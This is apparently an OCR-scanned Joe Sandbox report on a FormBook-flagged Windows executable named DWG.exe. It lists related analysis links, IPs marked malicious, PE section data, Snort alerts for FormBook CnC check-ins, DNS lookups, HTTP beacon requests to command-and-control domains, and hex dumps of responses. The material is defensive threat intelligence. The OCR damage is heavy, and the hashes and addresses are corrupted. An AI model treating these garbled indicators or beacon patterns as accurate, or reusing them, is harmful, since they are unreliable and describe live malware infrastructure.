https://view.joesandbox.com/analysis/399501/html/none?idtype=webid
https://view.joesandbox.com/analysis/399469/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399469/html/none?idtype=webid
https://view.joesandbox.com/analysis/399467/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399467/html/none?idtype=webid
https://view.joesandbox.com/analysis/399438/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399438/html/none?idtype=webid
https://view.joesandbox.com/analysis/401455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401455/html/none?idtype=webid
https://view.joesandbox.com/analysis/401437/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401437/html/none?idtype=webid
https://view.joesandbox.com/analysis/401174/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401174/html/none?idtype=webid
https://view.joesandbox.com/analysis/401165/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401165/html/none?idtype=webid
https://view.joesandbox.com/analysis/401105/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401105/html/none?idtype=webid
https://view.joesandbox.com/analysis/401084/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401084/html/none?idtype=webid
https://view.joesandbox.com/analysis/401075/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401075/html/none?idtype=webid
https://view.joesandbox.com/analysis/401051/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401051/html/none?idtype=webid
https://view.joesandbox.com/analysis/401020/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/401020/html/none?idtype=webid
https://view.joesandbox.com/analysis/400985/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400985/html/none?idtype=webid
https://view.joesandbox.com/analysis/400975/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400975/html/none?idtype=webid
https://view.joesandbox.com/analysis/400916/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400916/html/none?idtype=webid
https://view.joesandbox.com/analysis/400914/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400914/html/none?idtype=webid
https://view.joesandbox.com/analysis/400886/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400886/html/none?idtype=webid
https://view.joesandbox.com/analysis/400885/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400885/html/none?idtype=webid
https://view.joesandbox.com/analysis/400856/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400856/html/none?idtype=webid

Match

POWERLINE-AS-
APPOWERLINEDATACENTERHK

JA3 Fingerprints
No context
Dropped Files

No context

Associated Sample Name / URL SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash

Get hash

Get hash
Get hash
Get hash
Get hash

Get hash

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:
Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHA1L:
SHA256:

Copyright Joe Security LLC 2021

Detection Link Context
malicious Browse e 63.250.40.204
malicious Browse e 63.250.40.204
malicious Browse e 63.250.40.204
malicious Browse e 198.54.114.114
malicious Browse e 156.242.20
5.175
malicious Browse e 154.215.87.120
malicious Browse e 154.215.95.146
malicious Browse e 154.216.35.210
malicious Browse e 154.203.73.148
malicious Browse e 154.216.11
0.154
malicious Browse e 154.201.19
3.247
malicious Browse e 154.93.111.235
malicious Browse e 156.242.206.33
malicious Browse e 156.244.13
9.182
malicious Browse e 156.242.206.59
malicious Browse e 156.251.7.162
malicious Browse e 156.242.206.39
malicious Browse e 156.242.20
2.179
malicious Browse e 160.124.15
5.159
malicious Browse e 156.242.206.27
malicious Browse e 156.251.7.176
malicious Browse e 156.243.251.0
malicious Browse e 156.244.23
4.124
malicious Browse e 156.244.23
4.124

PE32 executable (GUI) Intel 80386, for MS Windows
7.157238812032227

e Win32 Executable (generic) a (10002005/4)
99.96%

e Generic Win/DOS Executable (2004/3) 0.02%

e DOS Executable Generic (2002/1) 0.02%

e Autodesk FLIC Image File (extensions: flc, fli, cel)
(7/3) 0.00%

DWG.exe

626688

f882802d113ed02fa070c496f89d797
aadleed1c53f1d33ab52e13442h036bfeee91flb

4216ff4fa7533209a6e50c6f05c5216b8afb456e6a3ab6b6
5ed9fchbdbd275096
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https://view.joesandbox.com/analysis/400806/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400806/html/none?idtype=webid
https://view.joesandbox.com/analysis/400799/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400799/html/none?idtype=webid
https://view.joesandbox.com/analysis/400791/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400791/html/none?idtype=webid
https://view.joesandbox.com/analysis/400721/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400721/html/none?idtype=webid
https://view.joesandbox.com/analysis/400523/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400523/html/none?idtype=webid
https://view.joesandbox.com/analysis/400025/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/400025/html/none?idtype=webid
https://view.joesandbox.com/analysis/399797/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399797/html/none?idtype=webid
https://view.joesandbox.com/analysis/399406/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399406/html/none?idtype=webid
https://view.joesandbox.com/analysis/399393/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/399393/html/none?idtype=webid
https://view.joesandbox.com/analysis/398909/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398909/html/none?idtype=webid
https://view.joesandbox.com/analysis/398723/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398723/html/none?idtype=webid
https://view.joesandbox.com/analysis/398667/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398667/html/none?idtype=webid
https://view.joesandbox.com/analysis/398324/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398324/html/none?idtype=webid
https://view.joesandbox.com/analysis/398079/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/398079/html/none?idtype=webid
https://view.joesandbox.com/analysis/397819/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397819/html/none?idtype=webid
https://view.joesandbox.com/analysis/397223/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397223/html/none?idtype=webid
https://view.joesandbox.com/analysis/397217/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397217/html/none?idtype=webid
https://view.joesandbox.com/analysis/397196/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/397196/html/none?idtype=webid
https://view.joesandbox.com/analysis/396983/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396983/html/none?idtype=webid
https://view.joesandbox.com/analysis/396865/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396865/html/none?idtype=webid
https://view.joesandbox.com/analysis/396552/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396552/html/none?idtype=webid
https://view.joesandbox.com/analysis/396543/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396543/html/none?idtype=webid
https://view.joesandbox.com/analysis/396513/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396513/html/none?idtype=webid
https://view.joesandbox.com/analysis/396474/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/396474/html/none?idtype=webid

General

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General
Entrypoint:
Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:

DLL Characteristics:
Time Stamp:

TLS Callbacks:
CLR (.Net) Version:
OS Version Major:
OS Version Minor:
File Version Major:

File Version Minor:

Subsystem Version Major:

Subsystem Version Minor:

Import Hash:

Entrypoint Preview

Rich Headers

Data Directories

Sections

Name Virtual Address

text 0x1000

.rdata 0x51000
.data  0x68000
ziffv 0x74000
Imports

Virtual Size
0x50000

0x17000

0xb848

0x28ee9

Network Behavior

Copyright Joe Security LLC 2021

Raw Size
0x50000

0x17000

0x8000

0x29000

Xored PE

False

False

False

False

ZLIB Complexity
0.539175415039

0.550239894701

0.738403320312

0.950373951982

00828e8e8686b000

0x4367ch
text
false
0x400000

windows gui

9785432a34fdb1132ddd8185fa2fdfae4db726be0bc1499
5a67520f10ad3fab4f2ce9c3a311c6e3c5163b3bde67942
af6e4c75216914577eb3e47al7bb102512

12288:N7MTwrEg4nkEo2sH2yefktZkgHAYRsrGGFJr23
+sejpAmiL:IMTwrEgskEorogHAOsIrsfejc

..... L.LITh
is program cannot be run in DOS mode....$....... qE"$5%

Ow5$0W5$0WNB<w4S0we;#w.$0W5S0wW. $0w.8>wW.$0w. ;:
W.$0W5$Iw.%0wWW;#w $Ow."6w4S0w.;;wjS0wRich5$0w.

LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE,
LINE_NUMS_STRIPPED, RELOCS_STRIPPED

0x5846A1B8 [Tue Dec 6 11:32:08 2016 UTC]

o » O & O &

c4824f327856ec0705e7797356a7405e

File Type

data

data

data

PGP\011Secret Sub-key -

Entropy Characteristics

6.35769619618 IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

6.611499798 IMAGE_SCN_CNT_INITIALIZED
_DATA,
IMAGE_SCN_MEM_READ

6.93245568667 IMAGE_SCN_CNT_INITIALIZED

_DATA,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED
_DATA,
IMAGE_SCN_MEM_WRITE,
IMAGE_SCN_MEM_READ

7.98479058964
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Snort IDS Alerts

Source Dest

Timestamp Protocol SID Message Port Port Source IP  Dest IP
10/28/21- ICMP 402 ICMP Destination Unreachable Port Unreachable 192.168.2.3 8.8.8.8
07:40:49.415574
10/28/21- ICMP 402 ICMP Destination Unreachable Port Unreachable 192.168.2.3 8.8.8.8
07:40:50.437941
10/28/21- ICMP 402 ICMP Destination Unreachable Port Unreachable 192.168.2.3 8.8.8.8

07:41:05.196993

10/28/21- TCP 2031453 ET TROJAN FormBook CnC Checkin (GET) 49819 80 192.168.2.3 198.54.116.195
07:41:15.703875

10/28/21- TCP 2031449 ET TROJAN FormBook CnC Checkin (GET) 49819 80 192.168.2.3 198.54.116.195
07:41:15.703875

10/28/21- TCP 2031412 ET TROJAN FormBook CnC Checkin (GET) 49819 80 192.168.2.3 198.54.116.195
07:41:15.703875

Network Port Distribution

TCP Packets

UDP Packets

ICMP Packets

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Oct 28, 2021 07:40:40.391122103 CEST 192.168.2.3 8.8.8.8 0x7892 Standard query  www.jntycy.com A (IP address) IN (0x0001)
(©)

Oct 28, 2021 07:40:46.361264944 CEST 192.168.2.3 8.8.8.8 0x769a Standard query  www.knowsy A (IP address) IN (0x0001)
0) ourdream.com

Oct 28, 2021 07:40:47.373327971 CEST 192.168.2.3 8.8.8.8 0x769a Standard query  www.knowsy A (IP address) IN (0x0001)
0) ourdream.com

Oct 28, 2021 07:40:48.404741049 CEST 192.168.2.3 8.8.8.8 0x769a Standard query  www.knowsy A (IP address) IN (0x0001)
(0) ourdream.com

Oct 28, 2021 07:40:53.424590111 CEST 192.168.2.3 8.8.8.8 0xd795 Standard query  www.public A (IP address) IN (0x0001)
0) coins.online

Oct 28, 2021 07:40:58.803464890 CEST 192.168.2.3 8.8.8.8 0x6e00 Standard query  www.thebra A (IP address) IN (0x0001)
0) ndstudioin

ternational.com

Oct 28, 2021 07:41:03.898623943 CEST 192.168.2.3 8.8.8.8 Oxad6d Standard query  www.hcbg.online A (IP address) IN (0x0001)
(©)

Oct 28, 2021 07:41:04.906097889 CEST 192.168.2.3 8.8.8.8 Oxadéd Standard query  www.hcbg.online A (IP address) IN (0x0001)
(©)

Oct 28, 2021 07:41:10.148940086 CEST 192.168.2.3 8.8.8.8 0x315c¢ Standard query  www.therav A (IP address) IN (0x0001)
(0) ewizards.com

Oct 28, 2021 07:41:15.516916037 CEST 192.168.2.3 8.8.8.8 0x7662 Standard query  www.mylyk.net A (IP address) IN (0x0001)
)

DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Oct 28, 2021 8.8.8.8 192.168.2.3 0x7892 No error (0) www.jntycy.com 154.216.113.38 A (IP address)  IN (0x0001)

07:40:40.767874002

CEST

Oct 28, 2021 8.8.8.8 192.168.2.3 0x769a Server failure  www.knowsy none none A (IP address)  IN (0x0001)

07:40:48.409805059 2) ourdream.com

CEST

Oct 28, 2021 8.8.8.8 192.168.2.3 0x769a Server failure  www.knowsy none none A (IP address)  IN (0x0001)

07:40:49.415467024 2) ourdream.com

CEST

Oct 28, 2021 8.8.8.8 192.168.2.3 0x769a Server failure  www.knowsy none none A (IP address)  IN (0x0001)

07:40:50.437834978 2) ourdream.com

CEST

Oct 28, 2021 8.8.8.8 192.168.2.3 0xd795 No error (0) www.public publiccoins.online CNAME IN (0x0001)

07:40:53.447602987 coins.online (Canonical

CEST name)
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Timestamp Source IP Dest IP

Trans ID

Oct 28, 2021 8.8.8.8 192.168.2.3 0xd795

07:40:53.447602987
CEST

Oct 28, 2021 8.8.8.8 192.168.2.3 0x6e00

07:40:58.835072994
CEST

Oct 28, 2021 8.8.8.8 192.168.2.3 0x6e00

07:40:58.835072994
CEST

Oct 28, 2021 8.8.8.8 192.168.2.3 Oxadéd

07:41:05.139462948
CEST

Oct 28, 2021 8.8.8.8 192.168.2.3 Oxadéd

07:41:05.196773052
CEST

Oct 28, 2021 8.8.8.8 192.168.2.3 0x315¢c

07:41:10.172621965
CEST

Oct 28, 2021 8.8.8.8 192.168.2.3 0x315¢c

07:41:10.172621965
CEST

Oct 28, 2021 8.8.8.8 192.168.2.3 0x315¢c

07:41:10.172621965
CEST

Oct 28, 2021 8.8.8.8 192.168.2.3 0x315¢c

07:41:10.172621965
CEST

Oct 28, 2021 8.8.8.8 192.168.2.3 0x315¢c

07:41:10.172621965
CEST

Oct 28, 2021 8.8.8.8 192.168.2.3 0x315¢

07:41:10.172621965
CEST

Oct 28, 2021 8.8.8.8 192.168.2.3 0x315¢c

07:41:10.172621965
CEST

Oct 28, 2021 8.8.8.8 192.168.2.3 0x315¢c

07:41:10.172621965
CEST

Oct 28, 2021 8.8.8.8 192.168.2.3 0x7662

07:41:15.540014029
CEST

Oct 28, 2021 8.8.8.8 192.168.2.3 0x7662

07:41:15.540014029
CEST

HTTP Request Dependency Graph

* www.jntycy.com

e www.publiccoins.online

* www.thebrandstudiointernational.com

* www.theravewizards.com

HTTP Packets

Session ID Source IP
0 192.168.2.3

kBytes
Timestamp transferred
Oct 28, 2021 5993

07:40:41.056646109 CEST

Copyright Joe Security LLC 2021

Source Port
49814

Direction

ouT

Reply Code
No error (0)

No error (0)

No error (0)

Name error (3)

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name CName

publiccoin

s.online

www.thebra thebrandstudiointernation
ndstudioin al.com

ternational.com

thebrandst
udiointern
ational.com

www.hcbg.online none

www.hcbg.online none

www.therav parkingpage.namecheap.
ewizards.com com

parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com

www.mylyk.net  mylyk.net

mylyk.net

Destination IP Destination Port Process

154.216.113.38 80

Data

C:\Windows\explorer.exe

Address
198.187.31.159

5.157.87.204

none

none

198.54.117.215

198.54.117.218

198.54.117.216

198.54.117.211

198.54.117.210

198.54.117.212

198.54.117.217

198.54.116.195

Type
A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

GET /xzes/?MnaP7J=3filTHZDPJpAt&Y Tspi8IX=099pRogLOlyRAntfhtpVZytcMadcCvcEAGZz2+SNM9It1Q60lsfbH3zhNe5B/

+1jhL6CE HTTP/1.1
Host: www.jntycy.com
Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes
Timestamp transferred

Oct 28, 2021 5995
07:40:41.349755049 CEST

Session ID Source IP
1 192.168.2.3

kBytes
Timestamp transferred
Oct 28, 2021 6005

07:40:53.611085892 CEST
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Direction

IN

Source Port
49816

Direction
ouT

Data

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Server: Microsoft-11S/8.5

X-Powered-By: PHP/5.6.40

X-Powered-By: ASP.NET

Date: Thu, 28 Oct 2021 05:40:36 GMT

Connection: close

Content-Length: 1260

Data Raw: 0d Oa 0d Oa 0d Oa 0d Oa 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0d Oa 3c 68 74 6d 6¢ 3e 0d Oa 3c
68 65 61 64 3e 0d Oa 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d Oa 3c 6¢ 69 6e 6b 20 72 65
6¢C 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65
2f 78 2d 69 63 6f 6e 22 2f 3e 0d 0a 3c 74 69 74 6¢ 65 3e e4 b9 9d e6 b8 b8 e6 b8 b8 e6 88 8f e5 ae 98 e7 bd 91 e4 b8 8b
e8 bd bd 5f e7 bd 91 e7 ab 99 0d 0Oa 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72
64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 e4 b9 9d e6 b8 b8 e6 b8 b8 e6 88 8f 5 ae 98 e7 bd 91 e4 b8 8b e8 bd bd 5f e7 bd
91 e7 ab 99 0d Oa 22 3e 0d Oa 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 63
6f 6e 74 65 6e 74 3d 22 e4 b9 9d e6 b8 b8 e6 b8 b8 e6 88 8f e5 ae 98 e7 bd 91 e4 b8 8b e8 bd bd 5f e7 bd 91 e7 ab 99 0d
0a 22 3e 0d Oa 3c 6d 65 74 61 20 69 64 3d 22 76 69 65 77 70 6f 72 74 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 2
220 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 6d 69 6e 69 6d 75 6d 2d 73 63
61 6¢ 65 3d 31 2e 30 2c 6d 61 78 69 6d 75 6d 2d 73 63 61 6€ 65 3d 31 2e 30 2¢c 75 73 65 72 2d 73 63 61 6C 61 62 6C 65
3d 6e 6f 22 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d Oa 76 61 72 20 5f 68 6d 74 20 3d 20 5f 68 6d 74 20 7c 7c 20 5b 5d 3b 0d
0a 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0d Oa 20 20 76 61 72 20 68 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65
61 74 65 45 6¢ 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 0d 0a 20 20 68 6d 2e 73 72 63 20 3d 20 22 68 74 74 70
73 3a 2f 2f 68 6d 2e 62 61 69 64 75 2e 63 6f 6d 2f 68 6d 2e 6a 73 3f 38 35 31 38 36 36 39 66 30 64 33 31 65 34 31 35 30
3862 653062616266 3561 386663323822 3b0d0a 2020 7661 7220 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67
65 74 45 6¢ 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 20 0d 0a 20 20 73
2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 68 6d 2¢ 20 73 29 3b 0d Oa 7d 29 28 29 3b 0d
Oa 3c 2f 73 63 72 69 70 74 3e 0d Oa 20 20 3c 73 63 72 69 70 74 3e 0d Oa 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0d Oa 20 20
202076 61 72 20 62 70 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6¢ 65 6d 65 6e 74 28 27 73 63 72 69
70 74 27 29 3b 0d 0a 20 20 20 20 76 61 72 20 63 75 72 50 72 6f 74 6f 63 6f 6¢ 20 3d 20 77 69 6e 64 6f 77 2e 6¢ 6f 63 61
74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6¢ 2e 73 70 6¢ 69 74 28 27 3a 27 29 5b 30 5d 3b 0d Oa 20 20 20 20 69 66 20 28 63 75
72 50 72 6f 74 6f 63 6f 6¢ 20 3d 3d 3d 20 27 68 74 74 70 73 27 29 20 7b 0d 0a 20 20 20 20 20 20 20 20 62 70 2e 73 72 63
20 3d 20 27 68 74 74 70 73 3a 2f 2f 7a 7a 2e 62 64 73 74 61 74 69 63 2e 63 6f 6d 2f 6¢ 69 6e 6b 73 75 62 6d 69 74 2f 70
75 73 68 2e 6a 73 27 3b 0d Oa 20 20 20 20 7d 0d Oa 20 20 20 20 65 6¢ 73 65 20 7b 0d Oa 20 20 20 20 20 20 20 20 62 70
2e 7372 63 20 3d 20 27 68 74 74 70 3a 2f 2f 70 75 73 68 2e 7a 68 61 6e 7a 68 61 6e 67 2e 62 61 69 64 75 2e 63 6f 6d 2f
7075 73 68 2e 6a 73 27 3b 0d 0a 20 20 20 20 7d 0d Oa 20 20 20 20 76 61 72 20 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e
67 65 74 45 6¢ 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 73 63 72 69 70 74 22 29 5b 30 5d 3b 0d Oa 20 20 20
20 73 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42

Data Ascii: <IDOCTYPE html><html><head><meta charset="utf-8"><link rel="icon" href="/favicon.ico" type="image/x-
icon"/><title>_</title><meta name="keywords" content="_"> <meta name="description“content="_"><meta id="viewport"
name="viewport" content="width=device-width,minimum-scale=1.0,maximum-scale=1.0,user-scalable=no"><script>var _
hmt = _hmt || [J;(function() { var hm = document.createElement("script”); hm.src = “https://hm.baidu.com/hm.js?8518669
f0d31e41508be0babf5a8fc28"; var s = document.getElementsByTagName("script”)[0]; s.parentNode.insertBefore(hm,
s);}();</script> <script>(function(){ var bp = document.createElement('script’); var curProtocol = window.location.prot
ocol.split(:)[0]; if (curProtocol === "https’) { bp.src = 'https://zz.bdstatic.com/linksubmit/push.js’; } else { bp
.src = 'http://push.zhanzhang.baidu.com/push.js’; '} vars = document.getElementsByTagName("script")[0]; s.paren
tNode.insertB

Destination IP  Destination Port Process
198.187.31.159 80 C:\Windows\explorer.exe

Data

GET /xzes/?MnaP7J=3fiTHZDPJpAt&Y Tspi8IX=VW6AQLcl+2136037Deilg2cODa3ue2eSFsBods08HsyRy7QSHz
NYTvvdstC8PYxoWiaB HTTP/1.1

Host: www.publiccoins.online

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred
Oct 28, 2021 6007
07:40:53.773292065 CEST
Session ID Source IP
2 192.168.2.3
kBytes
Timestamp transferred
Oct 28, 2021 6008
07:40:58.862319946 CEST
Oct 28, 2021 6008
07:40:58.888703108 CEST
Session ID Source IP
3 192.168.2.3
kBytes
Timestamp transferred
Oct 28, 2021 6010

07:41:10.336775064 CEST
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Direction

IN

Source Port

49817

Direction

ouT

Source Port
49818

Direction

ouT

Data

HTTP/1.1 301 Moved Permanently

keep-alive: timeout=5, max=100

content-type: text/html

content-length: 707

date: Thu, 28 Oct 2021 05:40:53 GMT

server: LiteSpeed

location: https://www.publiccoins.online/xzes/?MnaP7J=3fiTHZDPJpAt&Y Tspi8IX=VW6AQLcl+2136037Deilg2cO
Da3ue2eSFsBods08HsyRy7QSHzNY TvvdstC8PYxoWiaB

X-turbo-charged-by: LiteSpeed

connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e Oa 3c 68 74 6d 6¢ 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a
3130 30 25 22 3e Oa 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e
74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6C 65
3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e Oa 3c 74 69 74 6¢ 65 3e 20 33 30 31 20 4d 6f 76
65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 20 73 74
79 6¢ 65 3d 22 63 6f 6¢ 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6¢ 20
3134 70 78 2f 32 30 70 78 20 41 72 69 61 6¢ 2c 20 48 65 6¢ 76 65 74 69 63 61 2¢ 20 73 61 6e 73 2d 73 65 72 69 66 3b 2
068 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 3b 22 3e Oa
3c 64 69 76 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30
25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6¢ 65 3d 22 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65
72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f
73 69 74 69 6f 6e 3a 61 62 73 6f 6¢ 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6¢ 65 66 74 3a 35 30 25 3b 22 3e Oa 20
2020 20 20 20 20 20 3c 68 31 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31
3530 70 78 3b 20 6¢ 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6¢
64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3¢ 68 32 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b
66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6¢ 79 0d Oa 3c 2f 68
32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e 74 6¢ 79
20 6d 6f 76 65 64 2e 3c 2f 70 3e Oa 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width,
initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font:
normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-heig
ht:100%; ">  <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;">

<h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size:
30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html|>

Destination IP Destination Port Process

5.157.87.204 80 C:\Windows\explorer.exe

Data

GET /xzes/?YTspi8IX=hHkh8CC3aQWShWc+haxkrlzKrETBoK7eA41q+CP6m5nHXq5sq3R+TUUaF/2E5Ug81ukz&M
naP7J=3fiTHZDPJpAt HTTP/1.1

Host: www.thebrandstudiointernational.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Thu, 28 Oct 2021 05:40:58 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: close

X-Powered-By: PHP/7.1.30

Data Raw: 31 35 66 0d Oa 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 3c 74 69 74
6¢ 65 3e 44 65 7a 65 20 64 6f 6d 65 69 6e 6e 61 61 6d 20 69 73 20 67 65 72 65 67 69 73 74 72 65 65 72 64 20 64 6f 6f 72
20 65 65 6e 20 6b 6¢ 61 6e 74 20 76 61 6e 20 59 6f 75 72 68 6f 73 74 69 6e 67 2e 6e 6¢ 3¢ 2f 74 69 74 6¢ 65 3e 3¢ 6d 65
